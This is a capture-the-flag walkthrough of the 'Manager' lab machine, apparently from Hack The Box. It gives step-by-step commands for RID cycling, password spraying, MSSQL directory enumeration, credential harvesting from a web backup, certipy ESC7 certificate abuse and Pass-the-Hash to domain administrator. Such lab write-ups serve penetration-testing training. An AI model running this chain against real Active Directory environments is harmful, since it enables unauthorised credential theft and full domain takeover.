Manager

Overview

Manager is a medium-difficulty Windows Active Directory box. The attack chain begins with an unauthenticated SMB null-session that leaks every domain account via RID cycling, then a username-as-password spray surfaces the operator credential. That account connects to MSSQL, where xp_dirtree enumerates the web root and reveals a downloadable backup ZIP whose .old-conf.xml file stores the plaintext password for raven. Raven has WinRM access and holds ManageCA rights on the AD CS Certificate Authority, enabling an ESC7 chain with certipy to issue a certificate for the Administrator account, recover the NT hash, and reach the root flag via Pass-the-Hash.

Machine Matrix

The dominant axes — Real-Life and Enumeration — reflect that every technique here (null-session RID cycling, credential spraying, backup files in web root, AD CS ESC7 misconfiguration) is a genuine enterprise finding with no custom exploit or CVE required.

Recon

Port	Service	Notes
53/tcp	DNS	Domain: manager.htb / dc01.manager.htb
80/tcp	HTTP (IIS)	Corporate web site
88/tcp	Kerberos	Domain controller
135/tcp	MSRPC	Standard Windows
139/445/tcp	SMB	Null sessions permitted
389/636/tcp	LDAP / LDAPS	Active Directory
1433/tcp	MSSQL	SQL Server
5985/tcp	WinRM	Remote management
9389/tcp	AD Web Services

nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -sC -sV -Pn 10.10.10.X

The large AD port surface immediately identifies a domain controller, with MSSQL on 1433 and WinRM on 5985 standing out as direct-access services. Add the domain names to /etc/hosts:

echo "10.10.10.X  manager.htb dc01.manager.htb" | sudo tee -a /etc/hosts

Enumeration

SMB null-session RID cycling

SMB permits unauthenticated (null) sessions, allowing the SAMR protocol to enumerate every domain account by iterating Security Identifier RIDs — a classic CWE-306 (missing authentication) weakness:

nxc smb manager.htb -u '' -p '' --rid-brute | grep SidTypeUser

This returns all domain user accounts: Administrator, Zhong, Cheng, Ryan, Raven, JinWoo, ChinHae, Operator.

Username-as-password spray

Save the discovered usernames to users.txt, then spray each username as its own password — a weak password pattern common on shared service accounts:

nxc smb manager.htb -u users.txt -p users.txt --continue-on-success | grep '[+]'

Result: operator:operator — the operator account uses its own username as its password.

MSSQL enumeration with xp_dirtree

Connect to MSSQL using Windows authentication:

impacket-mssqlclient manager.htb/operator:[email protected] -windows-auth

Once connected, use the built-in xp_dirtree stored procedure to list the IIS web root, exploiting OS command interaction to read the filesystem:

EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;

The directory listing reveals website-backup-27-07-23-old.zip stored directly in the web root.

Download and extract the backup

wget http://manager.htb/website-backup-27-07-23-old.zip

unzip website-backup-27-07-23-old.zip

cat .old-conf.xml

The XML configuration file contains plaintext credentials: raven:R4v3nBe5tD3veloP3r!123.

Foothold

Verify the credentials work over WinRM and connect:

nxc winrm manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'

evil-winrm -i manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'

The shell lands as raven on the domain controller.

User flag

type C:\Users\raven\Desktop\user.txt   # HTB{...}

Access as raven obtained and the user flag is ours.

Privilege Escalation

Enumerating AD CS with certipy

From the Kali box, run certipy to audit the AD CS Certificate Authority for misconfigurations:

certipy find -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.10.X

The output shows raven holds ManageCA rights on manager-DC01-CA — a privilege misconfiguration that enables ESC7. ManageCA allows adding oneself as a CA officer; CA officers can approve and issue any certificate request, including for arbitrary Subject Alternative Name UPNs.

ESC7 chain — Step 1: add raven as CA officer

certipy ca -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.10.X \
  -ca 'manager-DC01-CA' -add-officer raven

ESC7 chain — Step 2: enable the SubCA template

certipy ca -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.10.X \
  -ca 'manager-DC01-CA' -enable-template SubCA

ESC7 chain — Step 3: request a certificate for the Administrator UPN

The request will be denied because raven is not normally authorised, but the request ID is retained:

certipy req -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.10.X \
  -ca 'manager-DC01-CA' -template SubCA -upn [email protected]

Note the request ID from the output (e.g., 13).

ESC7 chain — Step 4: issue the denied request as CA officer

certipy ca -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.10.X \
  -ca 'manager-DC01-CA' -issue-request 13

ESC7 chain — Step 5: retrieve the issued certificate

certipy req -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.10.X \
  -ca 'manager-DC01-CA' -retrieve 13

This produces administrator.pfx.

Clock skew workaround

If the Kali clock differs from the DC by more than 5 minutes, Kerberos PKINIT will reject the authentication. Compile a small LD_PRELOAD library that overrides time() to return the current time plus 7 hours, matching the DC:

gcc -shared -fPIC -o libftime.so libftime.c -ldl

(libftime.c contains a time() override returning time(NULL) + 25200.)

export LD_PRELOAD=/path/to/libftime.so

ESC7 chain — Step 6: authenticate with the certificate to recover the NT hash

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.X

Certipy performs PKINIT and outputs the Administrator NT hash.

Pass-the-Hash as Administrator

impacket-psexec manager.htb/[email protected] -hashes :<NT_hash>

A SYSTEM shell on the domain controller is obtained.

Root flag

type C:\Users\Administrator\Desktop\root.txt   # HTB{...}

Full compromise of Manager confirmed — Administrator access on the domain controller obtained via AD CS ESC7 and Pass-the-Hash.